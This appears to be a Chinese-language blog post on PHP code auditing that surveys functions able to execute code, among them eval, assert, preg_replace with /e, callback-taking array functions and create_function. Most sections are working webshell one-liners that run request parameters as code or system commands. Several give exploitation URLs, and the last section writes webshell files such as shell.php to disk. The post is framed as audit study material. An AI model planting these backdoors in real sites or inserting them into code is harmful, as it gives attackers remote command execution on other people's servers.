代码审计--代码执行函数总结

PHP中存在很多执行代码的函数,最近也看了很多总结的文章,这类执行代码的函数常用于写一句话木马,可能导致代码执行漏洞,简单总结一下。

0x00常见函数
eval() 、assert() 、preg_replace()、call_user_func()、call_user_func_array() 、uasort() 、usort()、array_map() 、array_reduce()、
array_udiff()、create_function() 、 array_filter()、array_walk_recursive()、文件操作函数、动态执行函数。
参考:https://www.cnblogs.com/xiaozi/p/7834367.html
http://www.freebuf.com/column/148183.html

0x01 eval()
eval() 函数把字符串按照 PHP 代码来计算,该php代码必须是合法的php代码,且必须以分号结尾。常用于一句话木马:

1
<?php eval($_POST[cmd])?>

这个就是我们常见的一句话木马,比较好理解。
0x02 assert()
函数在php语言中是用来判断一个表达式是否成立, 返回true or false,如果不为true则会返回一个警告。这个函数与eval() 函数一样,字符串被当作php代码执行 代码,

1
2
3
4
<?php
//?cmd =phpinfo();
@assert($_POST['cmd']);
?>

1
2
3
4
<?php
//?cmd=phpinfo()
@assert($_REQUEST[cmd]);
?>

0x03 preg_replace()
函数执行一个正则表达式的搜索和替换 语法:
语法:

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )`

函数搜索subbject中与pattern相匹配的部分用replacement替换,执行正则表达式的搜索和替换,但是如果存在危险的/e修饰符,使preg_replace()中的replacement() 参数当作php代码执行。前边有文章已经分析这个危险函数。<传送门>

0x04 call_user_func()/call_user_func_array()
这两个函数都是用来调用回调函数的。
语法:

1
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
语法:

1
mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。

1
2
3
4
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
1
2
3
4
5
6
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

0x05 uasort()/usort()
语法:

1
bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
语法:

1
bool uasort ( array &$array , callable $value_compare_func )

本函数对数组排序并保持索引和单元之间的关联。
主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

1
2
3
4
5
php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
1
2
3
4
5
php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

0x06 array_map()
语法:

1
array array_map ( callable $callback , array $array1 [, array $... ] )

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

1
2
3
4
5
6
7
8
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

0x07 array_reduce()
语法:

1
array_reduce(array,myfunction,initial)

array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。

1
2
3
4
<?php
$v=$_REQUEST['v'];
$arr=array(1);
array_reduce($arr, $v, $_POST['pass']);

0x08 array_udiff()
语法:

1
array_udiff(array1,array2,array3...,myfunction)

array_udiff() 函数用于比较两个(或更多个)数组的键值 ,并返回差集。

1
2
3
4
5
<?php
$v=$_REQUEST['v'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $v);

0x09 create_function()
语法:

1
string create_function ( string $args , string $code )

create_function主要用来创建匿名函数,其中内部使用了eval的操作导致存在安全问题。若没有对输入进行过滤,可以构造特殊字符串传递给create_function()导致执行任意命令。

1
2
3
4
5
<?php
//?cmd=phpinfo();
$func=create_function('',$_REQUEST['cmd']);
$func();
?>

0x10 array_filter()
语法:

1
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
array_filter() 函数用回调函数过滤数组中的值。

1
2
3
4
5
6
7
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

0x11 array_walk_recursive()
语法:

1
array_walk_recursive(array,myfunction,parameter...)

函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数

1
2
3
4
<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass'] =>'|.*|e',);
array_walk_recursive($arr, $e, '');

0x12 文件操作函数
利用文件操作,写入木马文件。

1
2
3
4
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
1
2
3
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>

0x13 函数 动态执行
PHP函数直接由字符串拼接。

1
2
3
4
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

自己的思考还比较少,总结的都是大佬的思路,慢慢补充自己的想法,其次对于php代码审计还得继续好好学,大部分漏洞的根源都是在代码上的问题。

-------------本文结束有错指正哦!-------------